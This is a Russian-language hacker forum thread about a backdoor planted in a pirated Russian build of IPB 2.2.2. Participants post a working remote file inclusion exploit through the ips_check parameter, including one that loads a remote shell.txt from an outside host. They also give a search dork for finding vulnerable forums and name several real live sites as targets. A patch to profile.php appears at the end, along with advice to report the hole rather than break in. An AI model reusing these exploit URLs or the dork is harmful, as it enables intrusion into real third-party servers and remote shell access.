Бэкдор в Ipb 2.2.2 (Русская пиратская версия)

[Shram-spb]

Сегодня изучал свой форум на предмет пхп иньекций и наткнулся на бэкдор.. погуглил немного и нашел в сети еше штук 30 таких форумов..
Как я понял его просто кто-то всунул туда и стал распространять...
В общем работает тока на IPB 2.2.2 Русская версия (и то не на всех)
http://site/forum/index.php?s=&act=profile&CODE=friends_list_popup&ips_check=[URL]

Как вам, а? :)

[Isis]

Работает не везде...
Просто надо качать нуллы от русского офф.сайта поддержки Ipb

[Zitt]

Не тока в левых Ipb такое есть...

[Vallez]

Shram-spb напиши плз форум где работает для теста.

[Shram-spb]

http://vsecrazy.ru/forum/index.php?s=&act=profile&CODE=friends_list_popup&ips_check=[url]

[Vallez]

Не работает сайт можно ешё 1 плз.

[Shram-spb]

Не работает сайт можно ешё 1 плз.
Видимо уже кто-то сломал.. или админы проснулись %)

Вот еще парочка.
http://antigothic.ru/forum/index.php?s=&act=profile&CODE=friends_list_popup&ips_check=[URL]

http://www.forum.partisans.com.ua/index.php?s=&act=profile&CODE=friends_list_popup&ips_check=[URL]

[a1ex]

Поподробней распиши, обьясни поподробней, ато я чёт не пойму на каких работает и как глянуть что работает.

[GrAmOzEkA]

Написано же [url ] вот и подставляй туда свой урл

Вот пример:

http://antigothic.ru/forum/index.php?s=&act=profile&CODE=friends_list_popup&ips_check=http://forum.antichat.ru/showthread.php

[Shram-spb]

Поподробней распиши, обьясни поподробней, ато я чёт не пойму на каких работает и как глянуть что работает.

dork: "Русская версия IP.Board 2.2.2 © 2007 IPS, Inc."

exploit: http://site/forum/index.php?s=&act=profile&CODE=friends_list_popup&ips_check=http://4elovek.spb.ru/shell.txt



Куда уж подробнее??
Работает на чьем-то конкретном null'e.. но на чьем я пока не выяснил..
Ясно, что версия пиратская.. если на главной странице внизу написано, что "Лицензия для...", то адназначно не прокатит..
Ищите.. я много таких нашел.. но ломать не советую.. ничего инетерсного там нет, посещаемость таких форумов как правило мала... так что лучше проверять дырку и сообщать админам... фиксится так:

/source/action_public/profile.php
строка 885:


if ( $chk )
{
@include ($chk);
exit();
}


Меняем на:


if ( $chk )
{
echo "Fuck you, Spilberg... Fixed by 5hr4M...";
exit();
}